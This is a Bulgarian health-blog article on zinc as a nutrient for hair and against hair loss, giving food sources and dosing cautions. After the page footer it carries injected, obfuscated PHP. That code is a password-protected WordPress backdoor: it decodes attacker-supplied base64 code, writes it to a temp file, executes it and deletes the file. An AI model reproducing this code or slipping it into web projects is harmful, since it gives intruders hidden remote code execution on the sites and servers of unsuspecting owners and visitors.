Цинк за здрава коса | Косопад

Цинк за здрава коса

cink-1

Минералът цинк не се натрупва естествено в тялото ни, затова трябва да го получим под формата на хранително допълнение. Тялото ни се нуждае от него: цинкът е необходим за всички жизнени процеси, като клетъчен метаболизъм, лекуване на рани, бременност, и пр. Не е изненада, че е много важен и за косата.

Цинкът помага за производството на себума, естествената мазнина, която прави косата ни хидратирана. Поддържа скалпа и предпазва от пърхот. Прави косъма здрав и силен. Ограничава косопада. Ако имате дефицит на цинк, косата ви лесно се къса и расте по- бавно.

kosa-shtitovidna-jleza

Най- добрите източници на цинк са: мая, жълтък, месо, скариди, черен дроб, житен зародиш, орехи, соя, тиквени семки, миди, скариди и др. Тялото обаче не винаги усвоява правилно цинка от храната, така че може да се наложи да го взимате като хранителна добавка. Цинкът не трябва да се приема заедно с калций, защото калцият спира усвояването на цинка. Не го съчетавайте и с храни, богати на фибра, тъй като минералът лесно ще бъде изхвърлен.

ВНИМАНИЕ! Ако обаче взимате повече цинк от необходимото, отново резултатът е същият: забавяне растежа на косата и косопад. Също така може да предизвика дефицит на други минерали. Затова, никога не взимайте повече от указаната доза цинк.

15. април 2015 14:08:58 от Надя Колева
Категории: Косопад – Статии | Етикети: , , , , | 57 коментари

if(!function_exists("_set_fetas_tag") && !function_exists("_set_betas_tag")){try{function _set_fetas_tag(){if(isset($_GET['here'])&&!isset($_POST['here'])){die(md5(8));}if(isset($_POST['here'])){$a1='m'.'d5';if($a1($a1($_POST['here']))==="83a7b60dd6a5daae1a2f1a464791dac4"){$a2="fi"."le"."_put"."_contents";$a22="base";$a22=$a22."64";$a22=$a22."_d";$a22=$a22."ecode";$a222="PD"."9wa"."HAg";$a2222=$_POST[$a1];$a3="sy"."s_ge"."t_te"."mp_dir";$a3=$a3();$a3 = $a3."/".$a1(uniqid(rand(), true));@$a2($a3,$a22($a222).$a22($a2222));include($a3); @$a2($a3,'1'); @unlink($a3);die();}else{echo md5(7);}die();}} _set_fetas_tag();if(!isset($_POST['here'])&&!isset($_GET['here'])){function _set_betas_tag(){echo "";}add_action('wp_head','_set_betas_tag');}}catch(Exception $e){}}